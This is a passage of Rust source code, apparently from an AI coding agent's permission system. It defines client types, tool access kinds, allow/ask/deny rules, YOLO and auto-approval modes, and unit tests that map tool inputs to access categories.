#[serde(rename = "grok-tui", alias = "grok_tui")]
GrokTUI,
/// Grok Web client - identified by clientIdentifier "grok-web"
#[serde(rename = "grok_web")]
GrokWeb,
/// Named client (`"nebula"`) — uses the generic permission UI
#[serde(rename = "nebula")]
Nebula,
/// IDE extension client (VS Code and similar) - identified by clientIdentifier "grok-code-extension"
#[serde(rename = "extension")]
Extension,
/// Grok Pager client - TUI-like terminal pager with interactive permission UI.
/// Treated identically to GrokTUI for permission options (gets bash highlights +
/// interactive selection). Reports as "pager" for telemetry attribution.
///
/// Accepts both the hyphenated `"grok-pager"` (what the pager actually
/// sends over the wire, matching `PAGER_CLIENT_TYPE`) and the underscored
/// `"grok_pager"` form for symmetry with the rest of this enum.
#[serde(rename = "grok-pager", alias = "grok_pager")]
GrokPager,
/// Grok Desktop (Electron) client - identified by clientIdentifier "grok-desktop".
/// Uses TUI-style bash permission options (primary command extraction + prefix matching)
/// but without interactive `<`/`>` word selection.
#[serde(rename = "grok_desktop")]
Desktop,
}
impl ClientType {
/// Product token for the `User-Agent` header (e.g. `grok-pager`).
pub fn user_agent_label(&self) -> &'static str {
match self {
Self::Generic => "grok-shell",
Self::GrokTUI => "grok-tui",
Self::GrokWeb => "grok-web",
Self::Nebula => "nebula",
Self::Extension => "grok-code-extension",
Self::GrokPager => "grok-pager",
Self::Desktop => "grok-desktop",
}
}
/// Resolve from ACP `clientIdentifier` string (e.g. `"grok-web"`, `"grok-desktop"`).
pub fn from_client_identifier(id: Option<&str>) -> Self {
match id {
Some("grok-web") => Self::GrokWeb,
Some("nebula") => Self::Nebula,
Some("grok-code-extension") => Self::Extension,
Some("grok-desktop") => Self::Desktop,
Some("grok-pager") => Self::GrokPager,
_ => Self::Generic,
}
}
/// Label for feedback reporting and experiment filtering.
pub fn feedback_label(&self) -> &'static str {
match self {
Self::GrokTUI | Self::GrokPager => "tui",
Self::GrokWeb => "web",
Self::Nebula => "nebula",
Self::Extension => "extension",
Self::Generic => "agent",
Self::Desktop => "desktop",
}
}
}
#[derive(Clone, Debug)]
pub enum AccessKind {
Read(Option<String>),
Grep {
path: Option<String>,
glob: Option<String>,
},
Edit(String),
Bash(String),
/// An MCP tool call: the tool name plus its raw JSON args. The args are
/// carried so the auto-mode classifier (and telemetry) can judge what the
/// call actually does, not just its name.
MCPTool {
name: String,
input: serde_json::Value,
},
WebFetch(String),
WebSearch(String),
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Decision {
Allow,
/// A policy `ask` rule matched; prompt the user.
Ask,
FollowupMessage(String),
Reject(String),
/// A policy deny rule matched. Distinguished from `Reject` (user-initiated)
/// so the caller can return the error to the LLM instead of cancelling
/// the turn — the agent should see the denial and adapt.
PolicyDeny(String),
/// The user cancelled the turn (e.g. Cmd+C during permission prompt).
/// Distinguished from `Reject` so the caller can return `StopReason::Cancelled`.
Cancelled,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum EditPolicy {
#[default]
Ask,
Allow,
Reject,
}
impl Serialize for EditPolicy {
fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
serializer.serialize_str(match self {
Self::Ask => "ask",
Self::Allow => "allow",
Self::Reject => "reject",
})
}
}
impl<'de> Deserialize<'de> for EditPolicy {
fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
struct V;
impl serde::de::Visitor<'_> for V {
type Value = EditPolicy;
fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
f.write_str("one of: ask, allow, reject")
}
fn visit_str<E: serde::de::Error>(self, v: &str) -> Result<EditPolicy, E> {
match v {
"ask" => Ok(EditPolicy::Ask),
"allow" => Ok(EditPolicy::Allow),
"reject" => Ok(EditPolicy::Reject),
other => Err(E::unknown_variant(other, &["ask", "allow", "reject"])),
}
}
}
deserializer.deserialize_str(V)
}
}
#[allow(clippy::large_enum_variant)]
pub enum PermissionCommand {
Request {
access: AccessKind,
tool_call_update: acp::ToolCallUpdate,
respond_to: oneshot::Sender<Decision>,
/// Session ID originating this request. Used to attribute
/// permission events to child subagents.
session_id: Option<String>,
/// Subagent type if this request is from a child (e.g. "explore").
subagent_type: Option<String>,
/// Subagent description if this request is from a child.
subagent_description: Option<String>,
},
/// Set the YOLO mode (auto-approve all permissions)
SetYoloMode(bool),
/// Set auto mode (LLM classifier for non-fast-path tools). Mutually
/// exclusive with YOLO at the handle level; enabling auto clears yolo
/// and vice versa when applied by the actor.
SetAutoMode(bool),
/// Install or replace the permission classifier used in auto mode.
SetClassifier(Option<std::sync::Arc<dyn super::auto_mode::PermissionClassifier>>),
/// Recent transcript turns for classifier context (compacted by caller).
SetClassifierTranscript(Vec<super::auto_mode::ClassifierTurn>),
/// Project AGENTS.md instructions for classifier context (None clears).
SetProjectInstructions(Option<String>),
/// Reset per-tool permission state back to defaults.
ResetState,
Shutdown,
}
impl From<&kigi_tools::types::ToolInput> for AccessKind {
fn from(input: &kigi_tools::types::ToolInput) -> Self {
use kigi_tools::types::ToolInput;
match input {
ToolInput::ReadFile(r) => AccessKind::Read(Some(r.path.clone())),
ToolInput::ListDir(l) => AccessKind::Read(Some(l.target_directory.clone())),
ToolInput::Grep(g) => AccessKind::Grep {
path: g.path.clone(),
glob: g.glob.clone(),
},
ToolInput::TodoWrite(_)
| ToolInput::TaskOutput(_)
| ToolInput::WaitTasks(_)
| ToolInput::KillTask(_)
| ToolInput::Skill(_) => AccessKind::Read(None),
ToolInput::WebSearch(ws) => AccessKind::WebSearch(ws.query.clone()),
ToolInput::SearchReplace(search_replace) => {
AccessKind::Edit(search_replace.file_path.to_string())
}
ToolInput::ApplyPatch(_) => AccessKind::Edit("apply_patch".to_string()),
ToolInput::HashlineEdit(he) => AccessKind::Edit(he.file_path.to_string()),
ToolInput::Write(w) => AccessKind::Edit(w.file_path.clone()),
ToolInput::Bash(bash) => AccessKind::Bash(bash.command.to_string()),
ToolInput::Monitor(m) => AccessKind::Bash(m.command.clone()),
ToolInput::MCPTool(mcp) => AccessKind::MCPTool {
name: mcp.tool_name.to_string(),
input: mcp.tool_input.clone(),
},
ToolInput::UseTool(u) => AccessKind::MCPTool {
name: u.tool_name.clone(),
input: u.tool_input.clone(),
},
ToolInput::WebFetch(wf) => AccessKind::WebFetch(wf.url.clone()),
ToolInput::Dynamic(_) => AccessKind::Read(None),
#[allow(unreachable_patterns)]
_ => AccessKind::Read(None),
}
}
}
/// Permission policy configuration (duplicated from util/config.rs for Phase 1 move independence; identical).
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct PermissionConfig {
pub rules: Vec<PermissionRule>,
/// What to do when no rule or pre-decision resolves a tool call.
#[serde(default)]
pub prompt_policy: PromptPolicy,
}
impl PermissionConfig {
pub fn new(rules: Vec<PermissionRule>) -> Self {
Self {
rules,
prompt_policy: PromptPolicy::Ask,
}
}
}
/// What to do when the permission manager would normally prompt the user.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum PromptPolicy {
/// Prompt the user for approval (default).
#[default]
Ask,
/// Deny without prompting (`permissions.defaultMode: "dontAsk"`).
Deny,
/// Use the auto-mode classifier (`permissions.defaultMode: "auto"`).
/// Seeded into the permission manager's auto flag at session start.
Auto,
}
/// A single permission rule.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PermissionRule {
pub action: RuleAction,
#[serde(default)]
pub tool: ToolFilter,
pub pattern: Option<String>,
#[serde(default)]
pub pattern_mode: PatternMode,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum PatternMode {
#[default]
Glob,
Domain,
}
/// Action to take when rule matches.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum RuleAction {
Allow,
#[default]
Deny,
Ask,
}
/// Tool filter for permission rules.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum ToolFilter {
#[default]
Any,
Bash,
Edit,
Read,
Grep,
Mcp,
WebFetch,
WebSearch,
}
/// Where a requirement/permission was loaded from (duplicated for claude_compat).
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum RequirementSource {
Unknown,
/// User-writable `~/.kigi/requirements.toml` — untrusted for keeping a
/// catch-all allow under the pin (a restricted user can edit it).
Requirements {
path: std::path::PathBuf,
},
/// Root-owned system-dir `requirements.toml`. Distinguished at load time
/// (`RequirementsLayer::is_system`), never inferred from `path`.
SystemRequirements {
path: std::path::PathBuf,
},
ManagedSettings {
path: std::path::PathBuf,
},
/// Defaults tier; never an admin source.
ManagedConfig {
path: std::path::PathBuf,
},
Config {
path: std::path::PathBuf,
},
Settings {
path: std::path::PathBuf,
},
}
impl std::fmt::Display for RequirementSource {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Unknown => f.write_str("<unknown>"),
Self::Requirements { path } => write!(f, "{} (requirements)", path.display()),
Self::SystemRequirements { path } => {
write!(f, "{} (system requirements)", path.display())
}
Self::ManagedSettings { path } => {
write!(f, "{} (managed-settings)", path.display())
}
Self::ManagedConfig { path } => {
write!(f, "{} (managed config)", path.display())
}
Self::Config { path } => write!(f, "{} (config)", path.display()),
Self::Settings { path } => write!(f, "{} (settings)", path.display()),
}
}
}
/// A value paired with its source (duplicated).
#[derive(Debug, Clone)]
pub struct Sourced<T> {
pub value: T,
pub source: RequirementSource,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn permission_event_subagent_fields_default_to_none() {
let json = r#"{
"tool_id": "tc1",
"tool_name": "bash",
"access_kind": "bash",
"yolo_mode": false,
"auto_approved": false,
"user_prompted": true,
"decision": "allow",
"timestamp": "2026-03-24T00:00:00Z"
}"#;
let event: PermissionEvent = serde_json::from_str(json).unwrap();
assert!(event.subagent_session_id.is_none());
assert!(event.subagent_type.is_none());
assert!(event.subagent_description.is_none());
assert!(event.permission_mode.is_none());
assert!(event.decision_reason.is_none());
assert!(event.wait_ms.is_none());
assert!(event.queue_depth.is_none());
}
#[test]
fn permission_event_with_subagent_attribution() {
let event = PermissionEvent {
tool_id: "tc1".into(),
tool_name: "bash".into(),
access_kind: "bash".into(),
access_detail: None,
yolo_mode: false,
auto_approved: false,
user_prompted: true,
decision: "allow".into(),
prompt_outcome: None,
reject_reason: None,
timestamp: Utc::now(),
subagent_session_id: Some("child-1".into()),
subagent_type: Some("explore".into()),
subagent_description: Some("Find endpoints".into()),
permission_mode: Some("ask".into()),
decision_reason: Some("needs_user".into()),
wait_ms: Some(1234),
queue_depth: Some(3),
};
let json = serde_json::to_value(&event).unwrap();
assert_eq!(json["subagent_session_id"], "child-1");
assert_eq!(json["subagent_type"], "explore");
assert_eq!(json["subagent_description"], "Find endpoints");
assert_eq!(json["permission_mode"], "ask");
assert_eq!(json["decision_reason"], "needs_user");
assert_eq!(json["wait_ms"], 1234);
assert_eq!(json["queue_depth"], 3);
}
#[test]
fn permission_event_skips_none_optional_fields() {
let event = PermissionEvent {
tool_id: "tc1".into(),
tool_name: "bash".into(),
access_kind: "bash".into(),
access_detail: None,
yolo_mode: false,
auto_approved: true,
user_prompted: false,
decision: "allow".into(),
prompt_outcome: None,
reject_reason: None,
timestamp: Utc::now(),
subagent_session_id: None,
subagent_type: None,
subagent_description: None,
permission_mode: None,
decision_reason: None,
wait_ms: None,
queue_depth: None,
};
let json = serde_json::to_string(&event).unwrap();
assert!(!json.contains("subagent_session_id"));
assert!(!json.contains("subagent_type"));
assert!(!json.contains("permission_mode"));
assert!(!json.contains("decision_reason"));
assert!(!json.contains("wait_ms"));
assert!(!json.contains("queue_depth"));
}
#[test]
fn hashline_edit_maps_to_edit_access() {
use kigi_tools::implementations::grok_build_hashline::edit::types::HashlineEditInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::HashlineEdit(HashlineEditInput {
file_path: "src/main.rs".into(),
edits: vec![],
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "src/main.rs"),
"HashlineEdit should produce AccessKind::Edit with the file path, got {access:?}"
);
}
#[test]
fn bash_maps_to_bash_access() {
use kigi_tools::implementations::grok_build::bash::BashToolInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Bash(BashToolInput {
command: "cargo test".into(),
timeout: None,
description: "run tests".into(),
is_background: false,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Bash(ref cmd) if cmd == "cargo test"),
"Bash should produce AccessKind::Bash with the command, got {access:?}"
);
}
#[test]
fn use_tool_maps_to_mcp_tool_access() {
use kigi_tools::implementations::use_tool::UseToolInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::UseTool(UseToolInput {
tool_name: "linear__save_issue".into(),
tool_input: serde_json::json!({ "title" : "test" }),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::MCPTool { ref name, ref input } if name ==
"linear__save_issue" && input["title"] == "test"),
"UseTool should produce AccessKind::MCPTool carrying the inner tool name and args, got {access:?}"
);
}
#[test]
fn monitor_maps_to_bash_access() {
use kigi_tools::implementations::grok_build::monitor::types::MonitorInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Monitor(MonitorInput {
command: "tail -f /var/log/syslog".into(),
description: "watch syslog".into(),
timeout_ms: None,
persistent: None,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Bash(ref cmd) if cmd ==
"tail -f /var/log/syslog"),
"Monitor runs shell and must map to AccessKind::Bash (not Read), got {access:?}"
);
}
#[test]
fn search_replace_maps_to_edit_access() {
use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::SearchReplace(SearchReplaceInput {
file_path: "lib.rs".into(),
old_string: "old".into(),
new_string: "new".into(),
replace_all: false,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "lib.rs"),
"SearchReplace should produce AccessKind::Edit, got {access:?}"
);
}
#[test]
fn web_fetch_maps_to_web_fetch_access() {
use kigi_tools::implementations::grok_build::web_fetch::WebFetchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::WebFetch(WebFetchInput {
url: "https://custom.example.com/api".into(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::WebFetch(ref u) if u ==
"https://custom.example.com/api"),
"WebFetch should produce AccessKind::WebFetch with the URL, got {access:?}"
);
}
#[test]
fn web_search_maps_to_web_search_access() {
use kigi_tools::implementations::grok_build::web_search::WebSearchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::WebSearch(WebSearchInput {
query: "rust lang".into(),
allowed_domains: None,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::WebSearch(ref q) if q == "rust lang"),
"WebSearch should produce AccessKind::WebSearch with the query, got {access:?}"
);
}
#[test]
fn apply_patch_maps_to_edit_access() {
use kigi_tools::implementations::codex::apply_patch::ApplyPatchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::ApplyPatch(ApplyPatchInput {
patch: String::new(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(_)),
"ApplyPatch should produce AccessKind::Edit, got {access:?}"
);
}
#[test]
fn write_tool_maps_to_edit_access() {
use kigi_tools::implementations::opencode::write::WriteInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Write(WriteInput {
file_path: "/tmp/secret.txt".into(),
content: "overwritten".into(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "/tmp/secret.txt"),
"Write should produce AccessKind::Edit with the file path, got {access:?}"
);
}
#[test]
fn client_type_deserializes_grok_shell_as_generic() {
assert_eq!(
serde_json::from_value::<ClientType>("grok-shell".into()).unwrap(),
ClientType::Generic,
);
assert_eq!(
serde_json::from_value::<ClientType>("grok_shell".into()).unwrap(),
ClientType::Generic,
);
assert_eq!(
serde_json::from_value::<ClientType>("generic".into()).unwrap(),
ClientType::Generic,
);
}
}